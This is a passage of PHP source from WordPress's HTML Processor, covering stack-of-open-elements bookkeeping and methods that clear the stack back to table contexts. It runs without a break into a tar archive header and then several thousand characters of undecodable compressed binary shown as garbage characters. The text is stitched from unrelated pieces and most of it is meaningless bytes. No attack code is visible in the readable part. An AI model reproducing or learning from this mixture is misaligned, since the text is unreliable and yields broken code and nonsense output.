			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = false;
				break;

			case 'P':
				$this->has_p_in_button_scope = true;
				break;
		}

		if ( null !== $this->push_handler ) {
			( $this->push_handler )( $item );
		}
	}

	/**
	 * Updates internal flags after removing an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was removed from the stack of open elements.
	 */
	public function after_element_pop( WP_HTML_Token $item ): void {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'P':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;
		}

		if ( null !== $this->pop_handler ) {
			( $this->pop_handler )( $item );
		}
	}

	/**
	 * Clear the stack back to a table context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table context, it means
	 * > that the UA must, while the current node is not a table, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TABLE' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table body context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table body context, it
	 * > means that the UA must, while the current node is not a tbody, tfoot, thead, template, or
	 * > html element, pop elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-body-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_body_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TBODY' === $item->node_name ||
				'TFOOT' === $item->node_name ||
				'THEAD' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table row context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table row context, it
	 * > means that the UA must, while the current node is not a tr, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-row-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_row_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TR' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.6.0
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
10.tar.gz000064400001214605151442221670006130 0ustar00��	�+YU0����#(���2�I�dO�ݯ�M�;ݝޗ�ޣ_%�$՝T��*�N�<Dd�TqdQ6d�P@EPDQD�@���s�U�*�t�73���?�y�T�{�۹g��VP���r���'N>}}���ɾD�@�����x/y��z����������l�&�m�_���S߼�4s�M���&I�n�)3;�F�|�������~᩿<� �h��LHw���=�F~o)������r���w�&��j�;�$=잧�?���_W����L���O��
���S���W��ۏ{�=o��w�ջ_�ۻ�_�w�o�돺��w���_��W�~������F�yo<u��~���ew�����ݿ�x����")�����{�P���ĕG�!����y����{���Aҭ�o*Ʌ⅋d��|S�6ievE�V+�T�5����/�n�A�XLZ1��lȖ�k��7��bYjU��$�V�JwP
����7tx���3�)���"����+P�"k%��
Cnv-u�OA!�
�O� �pk�U���5��}~o-���^�^
����ċ�\���h�Gq~�����G�\��c�/��c�|�#E���ʪ���+�ǂtDje�ث��I7h���^^���U�Ɍ�G�=�@�7�==-���助`�fiO���G%2I�b�y�W�)TP�r�b����BQ2����R��
y
��i��ǚ'ѾQ�~�T�"K����VTK�o�>�3(u�|SW�*({� ��F3(��cka	^jJc�H��q��(���,�
��g�'��H�t_-�rPF�[����g�H��nV�[�Z-��@���+US�m�6q�X�����Y)%E�%K�+�M�K��Š&�*
�DF���Qޛ������@����JY7����N�kr�V�.��ɦ�Ѝ}�</��K1���l*A���7=x��R�����b����d*� *�~a�uCكj������7���%ˢ������L�ԢK�l���T�r&P�]���T�
Y[m�m3Y&[L����&�(����T�׈����˼�����w��xK�%Jh	)��ǥۤ�r�*_
䦹_uC=���	J].d)�6)z�QdF8Z�	��R)g�
2&��v��̭�J�L���6�k������^jr2���[H-�l�f�@�IY�I�tt~�U��.ZM�
�`���������U$�JΗ%�[I6%���9Z�`�t��ap�ˌ�e�=��32F����C�!���������k�/�C��&�E��ǞI5%�}U&�tJRipϮ����E�):"��凄eȚY�w�Mź�G����}�R�-�T����
��'�mxt	KB��b�
M�By܋�<����bA���&��aJ�V�S�$�	A6�#����}^�3��>Ȍ�Eɐ !q�^��y�j�)D��B]�	jP�P���9��@D�? [t18K*��R*��T�s䰎�5��`غhŞ2%�_RZlɵ@�/�l@���j_�p��"�׵�����V��#5Ũ��6�R�2�(_b6�y>ʸ��"<"����y8C(�C{q�T����U�U�Oa�G���!�����bѭ�����)�@J�!5�9���	O��V:r��)�zE6ܠ"�@
8�\�&�i �5%O�'7�\'�}�>�)�I��:K:��.`�44�E�	_�&�	����TSk�XMf��4�����YQ��A�#%��IV*:��&�.�)H�"�,a����Ѳ���탲��k�D�A�3m��v�!ڛC��:�����$��7�!���7}�{���B�V��ޛx�:z���M�!ju�
/�{CJ�Ze�T$���$ǵňh��*a0��ǯLX���*<�;�DZ#PG�c�8��|i��$�r_���2P
��&B+A��v
p�f~��R�A� ye&�|	V��v��p��A?�݀��=�-<�}0�j󾐙f� (E�|Aأ�Gr���
KC=�3V&o�c�Ԡ���� O`jn���y�cR='6r\OG��t6�!�H7�nn����)87��.1j3 �S��m��w��=�>�|DN�y�0���P9VM��)�UV�bt&u�"�wdJ5k��B�#�lYd��(�5��o ���QT����6k
V���9�ݼ�
0~��z:9��^�\={��ڙR̼��h�Q���=[T�v���^P��U�`\p�P�ǥ�++u��݃
'�L����Z�B�Z�)U�p+F�.�"��^S4VX
��2 �}����-���R�e]*��`jai���w��jE��_!B�f�E�Mi���I9a�b���
�F������+�!B	2��ƥ�x���[Ҵ^�
���S���-٪�#��=���5>��W@�� ��J�$2�}Ĵ_���d��pkڢ
}�#1�
�y*RB4J�W7�0��'����#״�%S�L,}������c�&��o�rfmt>��)�n�[<���l<sV�g���D6��ڑ����Y���Z����H�G^Ղ�"�pG�67��>��{�<��#�=n�n��`?��B����ؘp�ѕ���@p��N��w��X��z�.vQr�D�<����<�״2�DZr����8����9DK��Er��p�:
e�ntN]�9/��
��E9|'�~�=M����L"G@ ���ѿ�i�<?	�~��FbO�s�e�
�
���z�_׋(��|�PHpΟG[W�o�k`�\�>��a�u2��&@!�Ͳأ±.�y�^c�kg�����
N
jʡ��H����zδ�hX��%¨3
,Dװ�g����.��zKW1髀���{p���)�z5C)�B�/㳰X��qp�/�
��dG�5��FX�E�|5�2u�B̸"�^��kJU7%�
�����8^�-�"5�g��|�����dH�Q�w8=�����,�
�8�H�%i6�u��-�R
 H��)��ȣq�6y!&��zD�ɞ����t�'?I���M����0&�!|Ėbn�ѥ�U�^��$���).9@-������� �BV�R�����qZ�B��z�D`�]sjb8��jg��10~�|Lo�����km
X1 U�������`��q���!��yo�;��4�A�]���=_�9
횗.�F/�Dɦ��VwO@���<�ht�x�CΈ��7R�=@'��*�Y�'�@��/(^��L�g�@.k��7�^�F�L��ꦩ��hx��3��&��N���~p&���j>��U� �T���<�^]�$		���R�`yMD���t�\#��=�4�Y��SC7�1��!+�A�s�Ȁ���Kr2U���C'z�* ܓ��v�L��[ph�)�ǀ�dvs�(��WY�>�U�"Ѵ-��X�]ޒ�R��Dj=���8��W#�����G��4�j�TQ����D��}c�}���a�w�5���"y�}����c�-��~Z�u�γ�S�`���K(g�阳��3i]"3ض.��&,��l�׭�P��v�U���=씈\X�'�ͪ�����2Ȉ��#�8o���\���D광-*�o�#����q����^�.]#�%�G=,��B�Z�Uz.�#G��G�"daėa�h�j�w��,����E��Y��2���j�vT��ť����ڞ>
���.�Ԅ�TX�5C���hP�Q*�b!�f��/(���(F�˚D�0V�n[��̊��  ��8�}d-F��2"	!d!�9�i&����o��7Y_�b��g�l�
����<��I`J��t�ƨ����`��+�]O/�'��m�����$֣#�իDP*��=|x�(�����:�RfZJogֳ��U;������z#�;ҾS5��NeӬ	g�R⊻-�IB",Q�]A�}^%��G%�$<	����kĦ�e���kY)��]v����Z�H�w��(������>A���`͝߇�G�>{��\(%��N�e�����q�_�ߍ�`��+��Q���J���5(�P�УH�7�T��2�=-+��haA�N��i����Fvy/�D�bz);v�r�JH�E5����"6d���'o+�)Qo
v��:�T-�ik'R��f#j�@g.�QBu�	�<
ŭ�
!J��
��
��q�,}E	�\Q��A]������!��<���`TB���TF�!d5�u"�G�'�L����Yg_�f��s!A�2ԺD�� �K[$�:80� ��./�zc�Z*݊���])�@�mY�q r�`��A��&�j2� >���x~�TN�d�-w��{�)ĔvK

�aP�CM~���h+��nx��$��#����|ݲM�7x0€�*����'d�ȌV\��Ys^$�#�94��3;C����/VK��������?�C�+���V�5	�"[	��IK:�:�8�L�jٶ2N�	��`��x/wDk{,҂�\�%u����&��|X�Ij�u�KMN-7�鮙����/=��:A��k�����nn��K��8�����>�^9zpX��<Ln�/<�%����>ʼ?m]��Q�L��}�-�B���o)�DN�"moo:����#�\$�Z�d6���zU!�R��ޮ&�Hh����P���dΈ�����c�Հ�2��0#��0�zE7F�9(��4�@U���%m*FA���ˆ�Y�r�Xj�ʚ?�"���R1"^��ʔ�,�_�2=	�#�h�tN��A��Ð*�ШQ��Vj�#N;['@@���=�`��'�V�2"ՍJw����>�մ�(�ڰ�9��ֈ�ϔ��,�o��%�m~�V'S��W_X�—���Dv#�J��2K����U򰴶��^��{�����X�x��k�~_o2���.n��S)�7�SK4���T#�X$�-n��Job?x8�h���D2[R��K�Un�Ȑ��Dj3�r2�\��k������zI�Sf�}Y�P��yO�W�Ofv
foSK5���Jo�گ��[��S%5�Y
���wB��B�?�3��
��ɐ�<߻��������)��s���L���Au�Ȥ���ذ�ѷP�+��D%#�I�����`&����|��ր��o��7}s�m}{S7��t�R\��z3s�um�\��˛������Fc!ۯ$�}��a��K��V&a���ɾ�99����1*�F?�$����Ӊ�U�xqv����N����U��C��A���I� �]���Uˈ�lM^�/n���Z)64a��������ON-V{&��Å������Do%]�d���>�d,_X>��>�
Vr[������AoV7��S�fc_�-�%Nvj�SfM����R�p~�`hik V���哤���O��s��^ym��m��i�������ө�F_�f��^>��}������Vl�0So��qs+T��eW5넌���{���7br?Y������Tڀ5�?�[-¢�?�o�gc��I��6�si�n!��S�^:���zw��*���A.9Wɤ+��V��Q�,��V��[CP!�QI�n��ɥ��՝3���6�wN�v�7k3�kNjjzR����#}��VV��չ��fC�vr���Ƃ���t����g�cťE�/����\X-�v�;�KǫG�����%m�dm`��v<��������j3�q����̴��_:܌-��rr��̪��nhubj'��[�Շ��fz���b%����W+�	=�H�*d�lf�R��Fv~`!n�ֶC����n2���8�X�ke��Xب�O����ܿ�.�d��F%?x�8��X[8���哾�ɉ�)���4��������ω�����q0W*��ƨˉ@��Ԥ�xX��@�}y[���˗��AN?��0����ݭ���/X�� � k��D`�=~�gX+��@�`��
7\�j������]����� b�PY��3'X�h�.1��0)5�zE!�*rNA��6��v:#��ɚ�[:9ǻK#��ql�O�	6(�� �S,�k�œ�<E���&�e˪���ѿ{+�k���w����:@c�����׶RkS驽����/�~Ű3�H���ٳVE=a��_���]F�y�zp�]^��x!70���(Q�}�����EW�#���&�Co�V���jMd�=�h�m�ܦgf	,4��_0k��w4��.Kwʎ�����61Χ�pt;�Z65�#ۍ��?y%��Tr���6�a���s���45�Bt���c�C	���ˉG��+�X�gX��j�A��Z	�I�(+n�!�5��o�EEC
�X	��f�ub�7p�V�Z
���ü�$U�'�PgMw�L:{)H���(��x����g�ֱ�w

V+H���KA�464J���+�ż
:Ԁ���SF<���Z<��wK���]���*z�	}&��+����� ��L��`��Pc1�v��L�U��W2�i�6H��)�_t@������h�P�:GZ7T�S
R0��'�BLie����U84��qѢ�此�U�۸b�h4:�S�g"�d��w}�͟xW�?�J��'���I�x���O��o��{>��O��'�#}�=��[?�ޛݾ)ΠD�ts�6�TYy
�.�]h�*豂�~����1�P!b|H��N���3&훺�WPh�T	�N�`���=j��cl������N�H������!l<:�I\c�AL�lTR��? A�,��x}zP Wu��I��ո����QC�
��SJ��[���7S��:;
	4k����P��XP�ފJ_56���`��I����2���c�d`��D��b�
�L�g-�$+N�.��#T{�'יUVE<���� ���7��	�B��.ɔ-�h�Mh�)J�F5�
m8%��,LC1��k��x�_"�]z�{M!�lK�Ǿ���|�<���>�G���$u��Jw��B@�#��.��KKJ#�L>�b�C�����1���ɂkθ�:�o�P�8�1��}x]U+�^�G<@��a8c̃0uu����vl��ٶ
Qt�q�B|\�Ɇ0���0�$�+ڍ���Ƥ@4@í��@KĚ��A���0T
ꍶ������2�0�Fc��%���Ͱ��H��`��H~-c��Ƽ�(�O{da�
���r��>�����L
�e��LGrlB�K^7�]�{:�r���c�#�����v��B�'0��1���4Ͷ���`r��.�A9ЫW��=*zI՘6����������XS"v9*�q���2�מ�j�j!�3���[�P�.'��_�W��ܼ��F��N�{��2�ΎU�*;���"8���3!���T�����涠S��)�s�{a>���(�X������'@�'��9�Ğ�,/f�+�4�ԙ����*o��.O���>�v�s�S�U�;NǦ�K�-����G̙ȕ���`�
Y���7�?}G�_��+	��|�v��kl|:�	�j|HĤQ�Bnr�#��p"�9+�1i�0ʧsј�Z�d�Ky�Sף�0�ȗ��=ჷ����e����c�O������.�\\�F$�[���Z8�m;��ܣ�B���{�m'�ރ��E�D�Z0lQ�a��p�Ҷ��!L�kQX7�1�s�^϶BPt��>̈́C��|.�����)
;�_h[8�5�‹t��Ð@��`"�ԃ��b�(:�HzCP�!u�;Zmo7XD�^'՞Fg5	�信aQ�rL0z$�kYѴ�G'�7F�x6+���z5�jJ[ ��(}o3����7���K�"bTzg䘈{*�gW���3w�����v�w�)��g"k��K��tc�4
wFw�4���H�n��u��[�␴0�K��2���{�>����v��Y1�ù�i�l���� BP>��͙9��"�FL�3F)Bu2f09�l�dj%VOwt�b����tXJ�ͭ̄�ޱ�%�ol}�<�[Y�
Kc�+��<X#�m�Kj���B�?|��kJ��}/_�^�׹j��%|���sj��0U	�mP,�M�Ѫp�Ei�5U��y��̖�}�)ʢ���P>�L�O�<�)o���)x�8�EUS%4��!�rS��K�9?��<�I��;��u{&����6g s<�:��z�-�v�C�L�G��	:��$��x|T�c�lDJ�qI���ҥ�nYz5,ݢ���y)���-��2T���p�0������sq� �O��!ˈ��*�UȤ��*_�S�=]�JN��r�'���	�L U�5��Ud� 0�aT��?�V��N��D*��j�h���O:YfT��t����wT�dn���R0:3��y����f9��.|F��^#O��4�����B�g"O�f�KY"�N)Z�X���t�O�=�������<��f�� �B����{Dz�LH8~��+��ک�gө)RL:��Zz:��0>k����Rv-��N*9�G���*�Jj
�X�
�9U\Q:�[�M#�3v)p�0������KO�r[>�eC��:��]���W��O{y�R�m
m�r��
�gk�;���9��$��x��D0���d��}�9�b��@�<���x�
�'�"l�s=��:�V���G5,l%BCd�E��k#C)6n����HU����Y5h��<VP �z��
I�"&ce,AAKЇh�K�z�^����W}�]�p!F��h�o�	���'N��!��
Ї>R��j�9��ufz�D�T���U	mS5x�w����A ��=R�ۑ
j�����}<>00<<�q8M���xd�G�:\�ԙ�&GDkt׀ӂV�Ze�A�:=�����Ԣ_����"����}��&�+�ϷtKjrbbr��	�-�@�U�躑 
;ءיm��A�eH�RH��[�5�'�f��y��kpH9��Gt��D�i:
��6�B��Ģ�vE�����X��m����Ԥk,���0%>�� �{!��]%yJ���� ���,R��p췄8K�0RT
ӊ��j�p-�ei�ܺ|_�0Y
�I�n�0�ɺ�_�eX|6�R"��v�u��%a�H	�ڦ�HQ��MWa�n�YK��%dy(�s�=Z7X���1�}]�~�š�p�����jbbU���z��\o����4���h撻���F*5�/k�K���Jmz����hmr�OMU���Fy#����T�R�;��Ճ�u�D�׃͍|zmmc#=3������>�8��6�2�|2U<���˥��j�}�}yX�b��J]1���''�bj2��Z�ZZ[�I-nd��29u<���SV뫙��l*�N�'���'��ʼn�J9�2�02fj����P�&SS���Qjq�9k�Wk�|jg2��O����Lj#���?����3�]�:��M��3S;Ʌ��t�Jͤ�b(�Me&���`ju"W�Lo���5�hvw�LʗS�'+�zm:5]j�&֪�C����������L�fR���ũ�t��L�J���٨�Rk���L��ԗʬ3C����z��^�����2C��������d�x"Q�^(��'��ǫɝչr� Uoh�ݙ��R*Vj�ٞ\�^�-�b+��b߲a./�ɩʐ5`�Ěs�N}%ԟy�X������d�dFO
N�V�0S,��ۥz�PTv�����FJ_����R#4�7���*,h�Ie���<�����k��b�֨�R�������}��\&��ޙ��X�/5̓xv~#ҟ�+�,����B~!k�ͅ��|�֤�їH��w��U��,
Uݘ_��oT�G�}֐j,�zO6R�Jm���ra���\o�W�f����|*�2?��ݘO��J3�T_~�7��6���)���j*�}�z�P�Λ'��I2,k�����L,;13y��(�LLN&&cǥ%}mrn1;�Z������fg�J�rsrUUgNr�Y]G�t���8�&g�l>�WoT������X�<9781�М�\]�h�Jٝ�YYMM�j���_*mWw��2���)5795�N��e�kK��
�������3�R���8���҃d�5KG͙�t����ind{7�6��r�wF_��KG�����U}hK�;Z����N#�+���di%��V���rig�d%��JՏͥI3[2'w����i�H5���ac�1U��;C��Bcu��������Lig�b}�����Y�/�f'W��>��8�*O�N�5糇�z|���B�՝���q9Q�,L�l������Ġ�^I/5W�Ս���`u5uP=�Mg����L�ڿ�	���f|}B�?��ݙzs⤺A���lhJv�j�`&�Z�����\*/g�6B}ì���Jzy#޿�[�N�Ml�����UB�e2 e�2����铵Du_[*�έl�j;;S-m�+��*����Be��2<�7�jk!u{ �/4K����q_Y����fR����J��|h';���3w�����Y����N�W�67K��Z�ޝ���m�W��͙�~�9_=��a��Jl/lfB���Ұq����X�?\�6*���a-�:�X�m$���:{XU�\b5V��ߍ��l�����L�܌�-�&���fo��l�K�}��Rv;=g�.%����F}'��TO���r��di~1��l-o������Cs��lI����ށ��r�h^��fv�م����c�&oW*��>o�Ƌ�QV��
��t=�
�V�'�㺶=Y���-O�jÕl�����.�d����9=g���Zh`G3��&�_�
%׫������Fl�w�ۜ��.͘���e.��KC�����I��0T�
mNOm�R������v��Z��҇7g�7vV�g����Ń�d�L./�ϕv��T/d���`����U����`v�Z<�]<����D�$~�8YЪ!%��?*Z�	Y��M�PM�g6���\�hu�8��7��-ysgs�V0㲥��J¨[���Zm��|04kWkN[f5y�����;V�nU���ִ�S.h��V���.
׵�R,���)�N���r"�\kNOն����vR_���������㩕��ʾU^Y�'�j�˹x��M'��|�ʉ��ϭ�-,,�򡅚�;�z3G��|ae�x[��m��˹F=�'b��zmP/浡F\kV����I|q%��X�/�c����ř��1ۿ�M�nk���B��QP�f��Q�<x�
�7��b���ۻ��lm���&{�Ņ��ґV	M�Ɨb���A�׈�W'�����ncy��13��X�ֆ2���ʉ��-�ͤ��؟��_]ۜ�J��	c}Zo.7W�������|m��b}+�*���3�޾Ź����2����P�Kr<;���]\�M/��Ƴks��ޚ�-n���Һ:T�W��������N}��-&6��V�b�7���R��<�bC���پZ�:Z��'�|:�P�����t�X�-�3�rm7�͔��粍յ��ᄼ8W�dͭ�IM����i5��d�d��|�y�t��>\��Z�>88�.W���˓J�`�xqj�P=9T�k�df&�\�/�,��N�����rr7T�����q��[o
,X�!��Z���W����!���9}sZ�M}֬*�I9v���/�ʆ�-
�'M����r��bV�̬���'k;���xakY6f�~s��X)��}���}�[���z�09_���Y��J�hī�A�(mN4��	ku�hX�����r�O��l�DVh(�S<������Nu�(gs����pI�ݯ����Fh�wn=~(��[ٕ]k�:���ӟ��ɇ���=U�[J�S��-k�71|��[�/.�/�K���]��,�C�rq�Č�$�6W�6B��䠵P��f�C3�k�ek�he'>����<�e�,k3������m�����J����a]뫐��rb9�=k7V�S��l�1�Lj����͵���c �_>>�b�ޣB3��TJl����K��Y�`����啩�!��Ac9=?N�n���d�h^^�Y�ꑕ۩��C�P��;�Ռ��a�8�߈�LW�׏�6�[�<���=H�'}�Be71\T�{g�r��;؟\Y�M�+�Ph =�-��c*�DGSG��+�}���f2���,oW������e}(V[�f��Am�.F%/ju�H&�d�w`��,

��Ck�X��R�������@.V��m�-B����YLn���Pv�8���V��ޝ��J�(Ի��;;|ؘUJCó��X~����B��~cxjb'D�����N��K�嬦��.�����I���؀3��㝣���pq9���������Xn�Y�)Fj�z��M�B������`|���jl���#}xh%Z����~�Y���狃���Al(���?��,�,L��fv�ٵ�T,�2��
L�1��\>]��`�~�Y"	�����B����Z�O�3��2��_��������V6�47Vצ��������Lf�TK��
)�b�$��e�͍�J�������\n~��$�,�6��Zy5=T�V��9\��ݭ�f�r��0�3431U�n�(���\+
&���7�zcs�1�,e6���Ü�[�%�t�pj(���dM�6��ԍ��U۞�JʊVl��n��K��~c�l�tjg��Le���C��z)^�N�����L=n5��Fz��ZZ�ڝ�,�.��*��br���N��S+��ɣ����\93�Jvyk(����deI+�Wv�jվ�b�t}i7�=q\ӵ��lq�p��Hr����a����,L�K����6�CG�����3{0PϤ�3�����.m��W�WW�[���&aw���F�X���T�^�Qw�{�N&6�ͩ��Y
Mm�
�,ez�å)m�xi�0YLT��L"U�R����LnsuY�*ZsuPn���ޓ����찬.���e��pA�4�Fhgkvk����͘�|<f&�������F�>���:Kǫ��ʐZ(�R�u�Lg3�EyhpE��zygb���-kqn+4�[�ŬL�w:���i֒��Frs��ډte:{�^_�NNzm�ZQ����.仺���B����.仺���B����.仺���B����.�ӅdK���4d��:`��ޭ�ŭXvuB��B�A�w�PXLe�q�`R/���sS���B�0��t#��>9�Vwvf�*������B�x�<�lI��mJ�O�f�@aE;�5B�Ã�Zij.v4
5���*f⳩X���T}h�d�Jdȁf� �@jn�Vg�v��[�D���'7w��q���Tfu+�h6�Lz�x]_,n�ǧ���
#?CFbs2��N�g���/ʹ�q�[>Z�i�f�Q(d���!��D��y�)�k}����f>?��RN6VrVe��wr�
��֗�jorh�x{�R�;�L��^-/���P�J��[�ɲ�X���IV��������z}P?�Og{6����������E����\�JŊ����K�ZZ�(9[�M���5���JK3��}�����a�؏W��٩���jyf&�5��u\,j���d�
YJl�W�����ե�x�_�/m�������l�o�H�Uun@�o쯩�󋙝Փj1�w��eV��n��I��?�g����;S��R��^��'��fu�P8��,n��V2û��t|�PWӉ��ܦaM+��Ai�\�ne�ݒ^*�56k�;[�F�Xݟ�J5gRM%�9��[	=���C�U�o�x;4TH-�.*��t(.�y��0�V[���N�����i��:��Z�õ6*��s���b��d�1sz9J.����9�8WH7�jAS�K�˄���;�Y5q�ZO�9s�LjMrZ-���Ķ�C��Z**o�����A�P�BGF|q�w`�<��ת���v�ф����jfbi(�h�'6'�3'rbw.�4����>^�o�L6�@}|��ͭ�`�:�ۗ"g}�`�P�����z#9���\[Z�]�%s�� �:���\�_��[*�P�
���
�
M+C�ͼZ�-��G���R�691<����͹\N�-/dž��C��Pq��&�Ծ�C5:\.lfN�޾c���v����q+��L����j-_����4O�SK�����J6�W_P����B!27����;Z��소��P~��̟ʅ�����8ln�w�BF"2c���Bo��p<��(�,ɱ���d�82�5�ћK�X��	9���R_-QX�|�'k��P�0hZFy>eƆ����ļU��Z��ߕ���������rzz��(�Ɔ��V6�\?��
�O���r��ͣ��x����	Y`����!��K��3�Y���^mL�hՙ3�k�[�k�\r7^HN7wW'&vg�������v7�*;[k��|���;xwn-=�1?��_��RWV����c�j���R�䢙�]�_Xn��J�չ�Y3c��ae~2mM����n=[�MVv'�wtc=��8I$��݃Jrurr3{��kz�ow��X�S�S�ʤ��Nv'*	-3��ߟ�L��õ�Q~8W�&�w�w���X�L��sߘ������󓓹��م�ak��j�3�3�Ty����];��Vz��Tr"���M������P}ఙ�k�ۙ�ţUc�yp�Ȫ�'�K��}��'zj�D޷v2��T�Q�n�燐���76���'w2�1Nao�*U�̼�(������}zd0����c��ys=0ʒc�)��d�pg&-Vt��(E˧�)N��2޶�1�YeZ�;��=w�8{r�ճ����Y[���
7 ��K����`��jXj}�+u�vc���(��}��:�/0<�o�H./\��k7�t����M��U��`� Ecu�ÊQ��[om��`1�q�sw0?�Q�3��z�t��٫h�!Ȯ3ijLzq:Z�Й�"�|�§^��!�u�d4M�ij��#�����|s�ٱ�UY#���i",�\�� �os�;q�4KqkZ/H\�jQ���5�y�0��/W3��-I/�=Ա8�B��}��A	&jjު�Î��(�놲((�%��J��	O���J�Q��B٨��f�u�v�`VfW�#�0!� �Gt�\USE��3�h
��$%�����u\19&�:��Ɉ���r}u�-H�"��r�M���/�HW*�6�H:�'1T�c�<@����[wF�=���s^����'�脝�t�z��5�
��\'��6���jj��L;��c��c��!�m���
Ήv��Z�	
�N�B.�%V�]������C��#���󴖼	��{�ْ�/�ԭ��Xc4�ZH*���^�[(g�;���.X��,
�����J{Ü�+��jR��U�Դgـ�D璝�{�CkJ����vW����?ʟ�Z�m���J��{����'���I�'y�
"�K�����-1��
b&���AΕd������\m>H�%t�~\���a�I�k#k�
�F�˴�kg�l�i�o�=Z��)�:Ғa�S/�i�v���l��f[fdDB�vEHю�bO���?��	�g�#�݋O�*1�jt��6R&�M��	Ѽ8�V��l�Ǒ�b�Ou��8��=���$�s�s$/�K�a�[�8.�$�
fVzl�����4%��dS�4j�Ӆ4�˸'�9���1�۹��������'�P�^�a�d��%꽥t��x�Ö́�?���I��
~b3i���ٮ�0Z�۫Cq�Wq�>7="b�.��]�͋؄�{`F���z�R�C�Z*x����O���p�W����*M/�
�o�	<��sE�]T>��l���_�"&��zT��2"���XԘ���+�����GP0]`_��:�s����F�Zӱ��R7^=��{n,�.х�d^�d�2�;�I����wZ�W�\pz
S#_�W�f =+3J��ݻf.1C>ًv%2�L���Mn`W�c)�*7p!Fˍ3¥���
�	V�bw�l� :�mD��p��:�uo��}��˸zz.훐�H�)h�'ڂ�5w'�{����Y�Q;�p�O��٬���:k���}�J������L��&x���I�Ss[v[�T1��%�/�L0C��v�9>��Zs*�×� KqE-9Z���N���E�^�C�BD�ph��L��*�v �I�H��SS�M>{��}ו��&EM2��X�7<Ѡ'q_�/џH�&�̕�l�|�m�B�}�~�{�J�
������g�����v������[��Ro�<~�ZJ���v,Jy��a�ț�of�&��D�1R8̀�����t��<�=��Ϊ��C����ܙȥ�amϔ��AI��%µ�H/�j�&O���@u �
�&�k����S��!���O�-�$�=����ɓY(���"�qE��U��9�������<����
�Y���FV��$>������@n	MG|�9j̳�rJ���8��z���p�av/�bX{�akː�+�]|�@�rDW0���7��`�n%�4��/!��%h7�k��po�}�
��#�Ԍ�K�XBq:����C0~$��RP�>���!� {�W�9_�*:��@�N����3��!�	gA�[u@�5:~
c���6��k��Q���J�5a��dP���k���Q�{�T�ck(,G����<�@� ��,��V��}�K�Kr24F�J��\+x���
�4��K�d��
�D�d��l9{g� �!�/[E.�Ժ ��nZ���pM��>��ڱ*kRIV�|)�u�.5e]:V�ܥ�$�P�t��bK�u�
j���m��p��i�%z�0��4����O�ۖ��"���=�Q�\��G�*o?�jm������!n/���j�2���#����x���Bڠ>*ms}�!V��n߼�:��S�'R�+���r�Z��J�߁d�e�k˕r7>�B�|��.�Y��|��������V��0C�6��}�JO�ݎ�}�KeN3���`�+��(�B�:�$p�����v�y~�U"{6+���Xi*�t�!=���u8p��*��:9m�kI� ^�����u.γ�H%�o�xQ�탘�鄞�v����N��2�����F���n�l�r�]T��q���n �01m�;�>g�
%׍{9j�3՝s'�Ӫm犺��-�#ź����J
=0���ЭZά�J�O�K/����m�fI��D4��0El9��GGJ�Y_Ra{���狵�ۋp���=&�6�x�_?Qp/	�͏�Y�b��axc$��R�q�>Qk�q���^��{/	� ��bZ�F]Si��(�d�t8� �~�U�*��i�V��u2��
�
��n���ґ�\]��
�:�O���aR;�ĆzN�3�)�}��������D�j)s��
Fٖ���K�\�ɚ
t�۹1&���0�@��'����IB��I�$���=�H�"!�\��m�E܅�ZQrѡ���DM��Q���҉CPζ)��k�8�P�U%���
WΰuX�5�Z ��!��y�>j[���֊�y۽�,q
��q,�\�t��}=��[:�Wk�b��}ddf7���{�
��R�Jϩ���X8y;��je�E���ޣ�o������u}'	ѩ��I�)*j�'7kt?�'�=tQ�ЩX�4R�<�x
9:�YDb��0�Э������)�Pv���56��\8�~�.ro7h×d�P�pd��u��.���]�U���
؅�dy�c@�:
�
����0@�{Z�G��;@��"�=C�[Y��j6�-�]sO��f�tj3�,=�����4��n���4�u?ҝ����{urw<��٢&i�gg8�a]��,=���^�HKp�Xe���m��y��{�p��U^�G���V~��i���.����h�d���8+�q6��γ�
��%+q�3�E�v>�#�	���+���w۪����I|<�fA��ܹ��	���r�IW�(���z�6L��;��ߌ��̎��
